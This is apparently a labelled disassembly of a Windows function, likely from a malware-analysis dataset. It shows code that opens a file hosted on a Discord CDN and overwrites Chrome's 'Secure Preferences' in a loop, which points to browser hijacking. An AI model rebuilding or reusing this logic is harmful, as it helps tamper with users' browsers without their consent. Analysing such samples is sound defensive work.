Function at 0x140004830
Capabilities:
Create process on windows
Get session user name

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x47]
sub rsp, 0x100
mov rax, qword [0x14000d008]
xor rax, rsp
mov qword [rbp + 0x3f], rax
lea r14, [0x14000d8c0]
mov dword [rbp - 0x69], pe_nt_image_headers64
mov rcx, r14
lea rdx, [rbp - 0x69]
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
xor esi, esi
test eax, eax
je 0x1400048af
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str.Current_username:
call fcn.140004f70
mov rcx, rax
mov rdx, r14
call fcn.140004f70
lea rdx, [0x140005150]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
jmp 0x1400048e9
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Error_getting_username._Error_code:
call fcn.140005190
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x140005510]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r14, rsi
xorps xmm0, xmm0
mov qword [rbp - 0x51], rsi
mov r8d, 9
mov qword [rbp - 0x49], rsi
lea rdx, str.C:Users_
lea rcx, [rbp - 0x61]
movups xmmword [rbp - 0x61], xmm0
call fcn.140005bb0
mov rdi, 0xffffffffffffffff
inc rdi
cmp word [r14 + rdi*2], si
jne 0x140004915
mov rcx, qword [rbp - 0x49]
mov r15, qword [rbp - 0x51]
mov rax, rcx
sub rax, r15
cmp rdi, rax
ja 0x140004961
cmp rcx, 8
lea rax, [r15 + rdi]
lea rbx, [rbp - 0x61]
mov qword [rbp - 0x51], rax
cmovae rbx, qword [rbp - 0x61]
lea r8, [rdi + rdi]
mov rdx, r14
lea rcx, [rbx + r15*2]
call sub.VCRUNTIME140.dll_memmove
lea rax, [r15 + rdi]
mov word [rbx + rax*2], si
jmp 0x140004975
mov r9, r14
mov qword [rsp + 0x20], rdi
mov rdx, rdi
lea rcx, [rbp - 0x61]
call fcn.1400059d0
lea r8, str.DownloadsNVIDIAGAMERSAUCE.txt
lea rdx, [rbp - 0x61]
lea rcx, [rbp - 1]
call fcn.140005690
lea r8, str.NVIDIAGAMERSAUCE.txt
lea rdx, [rbp - 0x61]
lea rcx, [rbp - 0x21]
call fcn.140005690
lea r8, str.AppDataLocalGoogleChromeUser_DataDefault_
lea rdx, [rbp - 0x61]
lea rcx, [rbp - 0x41]
call fcn.140005690
lea r8, str.Secure_Preferences
lea rdx, [rbp - 0x41]
lea rcx, [rbp + 0x1f]
call fcn.140005690
lea rdx, [rbp - 0x21]
lea rcx, [rbp - 0x41]
call fcn.140004b70
mov rcx, rax
call fcn.1400045d0
test al, al
je 0x140004b30
mov dword [rsp + 0x28], 1
lea r8, str.https:__cdn.discordapp.com_attachments_898708677366800397_1182268120463851610_NVIDIAGAMERSAUCE.txt_ex658413fdis65719efdhma7e2070e48368d21f3d0bb03189e7e3661b2d313312c4c0e2d8be3d50d991726
xor r9d, r9d
mov qword [rsp + 0x20], rsi
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp qword [rbp - 9], 8
lea r14, [rbp - 0x21]
mov rbx, qword [rbp - 0x11]
movabs rdi, 0x7ffffffffffffffe
cmovae r14, qword [rbp - 0x21]
xorps xmm0, xmm0
movups xmmword [rbp - 0x41], xmm0
cmp rbx, rdi
jbe 0x140004a41
call fcn.1400011a0
int3
cmp rbx, 8
jae 0x140004a60
mov qword [rbp - 0x31], rbx
mov qword [rbp - 0x29], 7
movups xmm0, xmmword [r14]
movups xmmword [rbp - 0x41], xmm0
jmp 0x140004b09
mov rax, rbx
or rax, 7
cmp rax, rdi
jbe 0x140004a7c
movabs rax, 0x7fffffffffffffff
lea rcx, [rax + rax]
jmp 0x140004aae
mov ecx, 0xa
mov rdi, rax
cmp rax, rcx
movabs rax, 0x7fffffffffffffff
cmovb rdi, rcx
lea rcx, [rdi + 1]
cmp rcx, rax
ja 0x140004b66
add rcx, rcx
cmp rcx, 0x1000
jb 0x140004add
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140004b66
mov rcx, rax
call fcn.1400077c8
test rax, rax
je 0x140004ad6
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x140004aea
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x140004aea
call fcn.1400077c8
mov rsi, rax
lea r8, [rbx*2 + 2]
mov qword [rbp - 0x41], rsi
mov rdx, r14
mov qword [rbp - 0x31], rbx
mov rcx, rsi
mov qword [rbp - 0x29], rdi
call sub.VCRUNTIME140.dll_memcpy
lea rdx, [rbp - 1]
lea rcx, [rsp + 0x30]
call fcn.140004b70
lea rdx, [rbp - 0x41]
mov rcx, rax
call fcn.140003fa0
nop dword [rax]
nop word [rax + rax]
lea rdx, [rbp + 0x1f]
lea rcx, [rsp + 0x30]
call fcn.140004b70
lea rdx, [rbp - 0x21]
mov rbx, rax
lea rcx, [rbp - 1]
call fcn.140004b70
mov rdx, rbx
mov rcx, rax
call fcn.1400042b0
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140004b30
call fcn.140001100
int3